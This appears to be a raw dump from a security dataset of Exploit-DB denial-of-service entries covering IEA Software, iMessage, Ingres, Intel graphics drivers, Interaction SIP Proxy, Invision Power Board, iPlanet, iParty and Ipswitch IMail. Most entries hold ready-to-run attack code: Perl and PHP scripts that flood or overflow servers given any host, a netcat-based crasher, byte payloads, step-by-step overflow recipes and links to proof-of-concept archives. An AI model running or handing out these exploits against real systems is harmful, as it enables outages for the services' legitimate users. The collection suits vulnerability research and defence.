deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31128
Description: IEA Software (Multiple Products) - POST Denial of Service
Type: dos
Platform: multiple
Date: 2008-02-08
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27701/info

Multiple IEA Software products are prone to a denial-of-service vulnerability.

Successfully exploiting this issue will allow attackers to crash the affected application, denying service to legitimate users.

This issue affects the following applications:

- Emerald 5.0.49 and prior versions
- RadiusNT and RadiusX 5.1.38 and prior versions
- Radius test client 4.0.20 and prior versions
- Air Marshal 2.0.4 and prior versions 

The following proof-of-concept exploit code is available:

POST / HTTP/1.0
Host: localhost
Content-Length:[PII_REDACTED]
Exploit-DB #47193
Description: iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1
Type: dos
Platform: multiple
Date: 2019-07-30
Author: Google Security Research

Exploit:
There is a memory corruption vulnerability when decoding an object of class  NSKnownKeysDictionary1. This class decodes an object of type NSKnownKeysMappingStrategy1, which decodes a length member which is supposed to represent the length of the keys of the dictionary. However, this member is decoded before the keys are decoded, so if a key is an instance of NSKnownKeysDictionary1 which also uses this instance of NSKnownKeysMappingStrategy1, the mapping strategy will be used before the length is checked. The NSKnownKeysDictionary1 instance uses this length to allocate a buffer, and the length is multiplied by 8 during this allocation without an integer overflow check. The code will then attempt to copy the values array (another decoded parameter) into the buffer using the unmultiplied length.

It is not possible to control the copied values in this bug, because getObjects:range would then be called with a very large range and throw an exception. However, if the decoded values array is null, getObjects:range will do nothing, and then the code will go through a loop where it copies and retains entries from the values array into the buffer allocated based on the length member, going well past the end of both allocations.

This issue would likely be fairly difficult to exploit due to the uncontrolled nature of these copies.

To reproduce this issue in iMessage with knownkeydict:

1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
4) in the local directory, run:

python3 sendMessage.py


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47193.zip
Exploit-DB #47192
Description: iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References
Type: dos
Platform: multiple
Date: 2019-07-30
Author: Google Security Research

Exploit:
When deserializing a class with initWithCoder, subclasses of that class can also be deserialized so long as they do not override initWithCoder and implement all methods that require a concrete implementation.

_PFArray is such a subclass of NSArray. When a _PFArray is deserialized, it is deserialized with [NSArray initWithCoder:], which eventually calls [_PFArray initWithObjects:count:]. This method initializes the array with the objects provided by the NSKeyedUnarchiver, but does not retain references to these objects, so when the NSKeyedUnarchiver is released, the objects in the array will also be released, even though the user of the deserialized objects could still be using them.

This issue can be reached remotely via iMessage and crash Springboard with no user interaction.

To reproduce the issue with the files in pfarray.zip:

1) install frida (pip3 install frida)
2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device
3) in injectMessage.js replace the marker "PATH" with the path of the obj file
4) in the local directory, run:

python3 sendMessage.py


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47192.zip
Exploit-DB #33579
Description: Ingres Database 9.3 - Heap Buffer Overflow
Type: dos
Platform: multiple
Date: 2010-01-29
Author: Evgeny Legerov

Exploit:
source: https://www.securityfocus.com/bid/38001/info

Ingres Database is prone to a heap-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code with the privileges of the application or crash the affected application.

Ingres Database 9.3 on Unix is vulnerable; other versions may also be affected.

s = "\x00\x00\x00\x00"
s += "\xff\xff\xff\xff"
s += "\x3c\x00\x00\x00\x06\x00\x00\x00"
s += "A" * 1000
Exploit-DB #27026
Description: Intel Graphics Accelerator Driver - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-01-03
Author: Sumit Siddharth

Exploit:
source: https://www.securityfocus.com/bid/16127/info

The Intel Graphics Accelerator driver is susceptible to a remote denial of service vulnerability. This issue is demonstrated to occur when the affected driver attempts to display an overly long text in a text area.

This issue allows attackers to crash the display manager on Microsoft Windows XP, or cause a complete system crash on computers running Microsoft Windows 2000. Other operating systems where the affected display driver is available are also likely affected.

Version 6.14.10.4308 of the Intel Graphics Accelerator driver is considered vulnerable to this issue. Other versions may also be affected.

This issue will be updated as further information becomes available. This issue may be related to the one described in BID 10913 (Microsoft Windows Large Image Processing Remote Denial Of Service Vulnerability), but this has not been confirmed. 

<script>window.open("http://aa...");</script>

Where the 'a's are repeated approximately 53000 times.

Casiamo <casiamo@gmail.com> has provided the following HTML script code to create an HTML file that demonstrates the exploitation of this vulnerability:

html = open("firefox.html", "w")
buff = 'A' * 50000
html.write("<html><head>\n"
"<script type=\"text/javascript\">\n"
"function bookmarksite(title, url){\n"
"if (document.all)\n"
"window.external.AddFavorite(url, title);\n"
"else if (window.sidebar)\n"
"window.sidebar.addPanel(title, url, \"\")}\n"
"</script></head>\n"
"<body onload=\"javascript:bookmarksite('"+buff+"',
'http://www.mozilla.org')\"
>\n"
"</body></html>")
html.close()
Exploit-DB #26922
Description: Interaction SIP Proxy 3.0 - Remote Heap Corruption Denial of Service
Type: dos
Platform: multiple
Date: 2005-12-21
Author: Behrang Fouladi

Exploit:
source: https://www.securityfocus.com/bid/16001/info

Interaction SIP Proxy is susceptible to a remote denial of service vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied input data, resulting in a heap memory corruption.

This issue allows remote attackers to crash the affected server application, denying further telephony service to legitimate users. It may be possible to exploit this issue for remote code execution, but this has not been confirmed.

Version 3.0.010 of Interaction SIP Proxy is vulnerable to this issue; other versions may also be affected. 

#! /usr/bin/perl

##
#i3 SIP Proxy POC - http://www.hat-squad.com/en/000171.html
#This vulnerability allows a remote user to overwrite heap memory of i3sipproxy.
#The request size varies, but size=2900 bytes works in most of the cases. Successful
#exploitation of this bug for code executuion requires a magic combination of 
#pre-allocations, data and size.
#
 
use strict; 
use IO::Socket::INET;

my $host = shift(@ARGV); 
my $size = shift(@ARGV);
my $port=5060;

print "\n\n Interactive SIP proxy heap corruption POC \n\n";
print " By Behrang Fouladi, Hat-Squad Security Team \n\n";
print(" Usage: perl $0 <target> <size> \n\n"),exit if(!$host || !$size);
my $iaddr=inet_aton($host) || die ("Unable to resolve $host");

socket(DoS,PF_INET,SOCK_DGRAM,17);

my $sip= "REGISTER sip:test\@test.com SIP/";
$sip.= "\x20"x$size;
$sip.= "\r\n";
$sip.= "Via: SIP/2.0/TCP 192.168.0.1:7043";
$sip.= "\r\n";
$sip.= "Max-Forwards: 70\r\n";
$sip.= "From: <sip:test\@test.com>;tag=ec8c2399e9\r\n";
$sip.= "To: <sip:test\@test.com>\r\n";
$sip.= "Call-ID: 1b6c7397b109453c93d85edc88d9810e\r\n";
$sip.= "CSeq: 1 REGISTER\r\n";
$sip.= "Contact: <sip:test\@test.com;transport=udp>;methods=\"INVITE, MESSAGE, INFO, SUBSCRIBE, OPTIONS, BYE, CANCEL, NOTIFY, ACK, REFER, BENOTIFY\";proxy=replace\r\n";
$sip.= "Content-Length: 0\r\n";
$sip.= "\r\n";

send(DoS,$sip,0,sockaddr_in($port,$iaddr));
print " Exploit Sent to $host...\n";
print " The SIP Proxy should crash now.\n\n";
exit(0);
Exploit-DB #12382
Description: Invision Power Board - Denial of Service
Type: dos
Platform: multiple
Date: 2010-04-25
Author: SeeMe

Exploit:
==============================================
Invision power board 0-day denial of service 2 
==============================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 #################################### 1
0 I'm SeeMe member from Inj3ct0r Team 1
1 #################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


# Invision power board 0-day denial of service 2 100% works..
#
# It works on all versions! can DOS the whole server!
#
# Greetz to Inj3ct0r Crew
#
#Perl Script
use Socket;
if (@ARGV < 2) { &usage }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<10; $i--)
{
$user="seeme".$rand.$i;
$data = "adsess=&"
;
$len = length $data;
$foo = "POST ".$dir."index.php HTTP/1.1\r\n".
"Accept: * /*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 /\n\n";
exit();
};
################################################## ##############
# Greetz to Inj3ct0r Crew
Exploit-DB #1489
Description: Invision Power Board 2.1.4 - Register Users Denial of Service
Type: dos
Platform: multiple
Date: 2006-02-10
Author: SkOd

Exploit:
#!/usr/bin/perl
use IO::Socket;
##########################################################
##		 _______ _______ ______ 		 #
##		 |______ |______ |     \		 #
##		 ______| |______ |_____/		 #
##		                        		 #
##IPB Register Multiple Users Denial of Service	   	 #
##Doesn't Work on forums using "Code Confirmation"	 #
##Created By SkOd                                        #
##SED security Team                                      #
##http://www.sed-team.be                                 #
##skod.uk@gmail.com                                      #
##ISRAEL                                                 #
##########################################################

print q{
############################################################
#        Invision Power Board Multiple Users DOS	   #
#		Tested on IPB 2.0.1			   #
#	    created By SkOd. SED Security Team             #
############################################################
};
$rand=rand(10);
print "Forum Host: ";
$serv = <stdin>;
chop ($serv);
print "Forum Path: ";
$path = <stdin>;
chop ($path);
for ($i=0; $i<9999; $i++)
{
$name="sedXPL_".$rand.$i;
$data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&[CREDENTIAL_REDACTED]_Check=sedbotbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1&allow_member_mail=1&day=11&month=11&year=1985&agree=1";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";
print $get1 "POST ".$path."index.php HTTP/1.0\n";
print $get1 "Host: ".$serv."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "+";
}
print "Forum shuld be Dosed. Check it out...\n";

# milw0rm.com [2006-02-10]
Exploit-DB #48035
Description: iOS/macOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()
Type: dos
Platform: multiple
Date: 2020-02-10
Author: Google Security Research

Exploit:
While investigating possible shared memory issues in AGXCommandQueue::processSegmentKernelCommand(), I noticed that the size checks used to parse the IOAccelKernelCommand in IOAccelCommandQueue2::processSegmentKernelCommand() are incorrect. The IOAccelKernelCommand contains an 8-byte header consisting of a command type and size, followed by structured data specific to the type of command. When verifying that the size of the IOAccelKernelCommand has enough data for the specific command type, it appears that the check excludes the size of the 8-byte header, meaning that processSegmentKernelCommand() will parse up to 8 bytes of out-of-bounds data.

Normally I wouldn't consider this very security-relevant. However, command type 2 corresponds to kIOAccelKernelCommandCollectTimeStamp, which actually *writes* into the OOB memory rather than just parsing data from it. (The IOAccelKernelCommand is being parsed from shared memory, so the write is visible to userspace.) This makes it possible to overwrite the first 1-8 bytes of the subsequent page of memory with timestamp data.

The attached POC should trigger the issue on iOS 13. Tested on iPod9,1 17B111. I haven't tested on macOS, but it looks like the issue is present there as well.

I'll also tack on to this issue that on the whole AGXCommandQueue seems to do a poor job of treating shared memory as volatile, and I suspect that there are further issues here that are worth looking into. For example, when IOAccelKernelCommand's type is 0x10000, AGXCommandQueue::processSegmentKernelCommand() does not use the fourth parameter (which points to the end of the IOAccelKernelCommand as parsed by IOAccelCommandQueue2::processSegmentKernelCommands()) except when passing it to IOAccelCommandQueue2::processSegmentKernelCommand(), instead double-fetching the command size from shared memory to verify that all the command data is in-bounds. Thus, I believe it's possible to make AGXCommandQueue::processSegmentKernelCommand() parse out-of-bounds data, although I have not found a way to turn this into an interesting exploitation primitive. I don't think the shared memory issues are isolated to this function either. For example, there used to be much more readily exploitable double-fetches in AGXAllocationList2::initWithSharedResourceList(), although these were fixed sometime between 16A5288q and 16G77.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48035.zip
Exploit-DB #22250
Description: iParty Conferencing Server - Denial of Service
Type: dos
Platform: multiple
Date: 1999-05-08
Author: wh00t

Exploit:
source: https://www.securityfocus.com/bid/6844/info

A buffer overflow condition has been discovered in the Intel iParty server.

It is possible to trigger a denial of service by submitting an excessive number of characters to the network port used by the iParty server. The server will need to be restarted to regain normal functionality.

This issue may be due to a buffer overrun, potentially resulting in arbitrary code execution. This possibility has not been confirmed. 

#!/bin/sh
# iParty Pooper by Ka-wh00t (wh00t@iname.com) - early May '99 - Created out of pure boredom.
# iParty is a cute little voice conferencing program still widely used (much to my surprise.)
# Unfortuneately, the daemon, that's included in the iParty download, can be shut down remotely.
# And in some circumstances, this can lead to other Windows screw-ups (incidents included internet
# disconnection, ICQ GPFs, Rnaapp crashes, etc.) Sometimes the daemon closes quietly, other
times
# a ipartyd.exe GPF. DoSers will hope for the GPF. At time of this script's release, the latest
# (only?) version of iParty/iPartyd was v1.2
# FOR EDUCATIONAL PURPOSES ONLY.


if [ "$1" = "" ]; then
echo "Simple Script by Ka-wh00t to kill any iParty Server v1.2 and under. (ipartyd.exe)"
echo "In some circumstances can also crash other Windows progs and maybe even Windows itself."
echo "Maybe you'll get lucky."
echo ""
echo "Usage: $0 <hostname/ip> <port>"
echo "Port is probably 6004 (default port)."
echo ""
echo "Remember: You need netcat for this program to work."
echo "If you see something similar to 'nc: command not found', get netcat."
else
if [ "$2" = "" ]; then
echo "I said the port is probably 6004, try that."
exit
else
rm -f ipp00p
cat > ipp00p << _EOF_
$6ì]}tTÕµ?"Ìa?p/?HÔD?0iAáœL%ÏÌ?EBEÔð'*}ÒyÓÔ¥(3êz?nÃuèÔj+š°(Ö?Ö?d'??øZiXåËy7¡'``àŸœÏ	Cµ¶ïüÖÊ¹çî³ÏÞçìœÏ>çÜE¢6?â^ßî^v¯?ì^¯:ÂÆ{n"uí£Ç'g=oš§?8ÂÓ'L5"ïé²±?á€žDRGÒIôlq?Y­g?»Òi?ÆiÕŸëH¹H?w?òáœ²»Ô3ðl??*oÎ#ésC9m,

_EOF_
echo ""
echo "Sending kill..."
cat ipp00p | nc $1 $2
echo "Done."
rm -f ipp00p
fi
fi
Exploit-DB #20852
Description: iPlanet 4.1 Web Publisher - Remote Buffer Overflow (1)
Type: dos
Platform: multiple
Date: 2001-05-15
Author: Santi Claus

Exploit:
source: https://www.securityfocus.com/bid/2732/info

iPlanet Webserver is an http server product offered by the Sun-Netscape Alliance.

By sending a specially crafted request (composed of at least 2000 characters) it is possible to cause a buffer overflow. This could cause the termination of the affected service, requiring a restart and enabling a remote attacker to effect a denial of service attack.

If the submitted buffer is properly structured, it may yield a remote system shell.

Successful exploitation of this vulnerability could lead to a complete compromise of the host.

Note that while only installations of iWS4.1sp3-7 on Windows NT are immediately vulnerable to this attack, all users of iWS4.1sp3-7 are advised to install the NSAPI. 

#!/usr/bin/perl
use IO::Socket;
  if (@ARGV < 2)  {
     print "Usage: host port\n";
     exit;
   }
$overflow = "A" x $4022;
&connect;
sleep(15);
&connect;
exit;
################################################
sub connect() {
  $sock= IO::Socket::INET->new(Proto=>"TCP",
			     PeerAddr=>$ARGV[0],
			     PeerPort=>"$ARGV[1]",)
			     or die "Cant connect to $ARGV[0]: $!\n";
  $sock->autoflush(1);
  print $sock "$overflow /index.html HTTP/1.0\n\n";
  $response=<$sock>;
  print "$response";
  while(<$sock>){
     print "$_\n";
  }
  close $sock;
}
Exploit-DB #20853
Description: iPlanet 4.1 Web Publisher - Remote Buffer Overflow (2)
Type: dos
Platform: multiple
Date: 2001-05-15
Author: Gabriel Maggiotti

Exploit:
source: https://www.securityfocus.com/bid/2732/info
 
iPlanet Webserver is an http server product offered by the Sun-Netscape Alliance.
 
By sending a specially crafted request (composed of at least 2000 characters) it is possible to cause a buffer overflow. This could cause the termination of the affected service, requiring a restart and enabling a remote attacker to effect a denial of service attack.
 
If the submitted buffer is properly structured, it may yield a remote system shell.
 
Successful exploitation of this vulnerability could lead to a complete compromise of the host.
 
Note that while only installations of iWS4.1sp3-7 on Windows NT are immediately vulnerable to this attack, all users of iWS4.1sp3-7 are advised to install the NSAPI. 

#!/usr/local/bin/php -q
<?
/*
 * Netscape Enterprise Server 4 Method and URI overflow 
 *
 * By sending an invalid method or URI request of 4022 bytes Netscape 
 * Enterprise Server will 
 * stop responding to requests. 
 *
 * Written by Gabriel Maggiotti
 */

	if( $argc!=3)
	{
	echo "usagge: $argv[0] <host> <port>\n";
	return 1;
	}


$host=$argv[1];
$port=$argv[2];

	for($i=0;$i<4022;$i++)
		$overflow.="A";
	
$overflow.=" /index.htm HTTP/1.0\n\n";

$fp = fsockopen ($host, $port , &$errno, &$errstr, 30);
 if (!$fp) {
     echo "Couldn't create connection<br>\n";
 } else {
	fputs ($fp, $overflow);
}
fclose ($fp);

?>
Exploit-DB #19377
Description: Ipswitch IMail 5.0 - Imapd Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: multiple
Date: 1999-03-01
Author: Marc of eEye

Exploit:
source: https://www.securityfocus.com/bid/502/info

The imapd login process is susceptible to a buffer overflow attack which will crash the service. 


Telnet to target machine, port 143
* OK IMAP4 Server (IMail 4.06)
X LOGIN glob1 glob2

Where glob1 is 1200 characters and glob2 is 1300 characters.
Exploit-DB #19379
Description: Ipswitch IMail 5.0 - IMonitor Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: multiple
Date: 1999-03-01
Author: Marc of eEye

Exploit:
source: https://www.securityfocus.com/bid/504/info

The IMail IMonitor service can be crashed by exploiting a buffer overflow vulnerability. 


Telnet to target machine, port 8181

Send: glob1
hit enter twice
Where glob1 is 2045 characters.
Exploit-DB #19378
Description: Ipswitch IMail 5.0 - LDAP Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: multiple
Date: 1999-03-01
Author: Marc of eEye

Exploit:
source: https://www.securityfocus.com/bid/503/info

The IMail ldap service has an unchecked buffer, resulting in a classic buffer overflow vulnerability. While it does not crash the service, it drives CPU utilization up rendering the system essentially unusable.

Telnet to target machine, port 389
Send: Y glob1
hit enter twice
Server Returns: 0
Send: Y glob2
hit enter

Where glob1 and glob2 are 2375 characters and Y is Y. The ldap service goes to 90 percent or so and idles there. Therefore using up most system resources.
Exploit-DB #19382
Description: Ipswitch IMail 5.0 - Whois32 Daemon Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: multiple
Date: 1999-03-01
Author: Marc of eEye

Exploit:
source: https://www.securityfocus.com/bid/506/info

IMail's whois server can be crashed due to an unchecked buffer. 

Telnet to target machine, port 43

Send glob1

Where glob1 is 1000 characters.
Exploit-DB #19380
Description: Ipswitch IMail 5.0/6.0 - Web Service Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: multiple
Date: 1999-03-01
Author: Marc of eEye

Exploit:
source: https://www.securityfocus.com/bid/505/info

The IMail web server can be crashed by requesting an abnormally long URL. 

Telnet to target machine, port 8383

Send: GET /glob1/
Where glob1 is 3000 characters.

Marc Maiffret <marc@eeye.com> has released the following exploit: 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19380.zip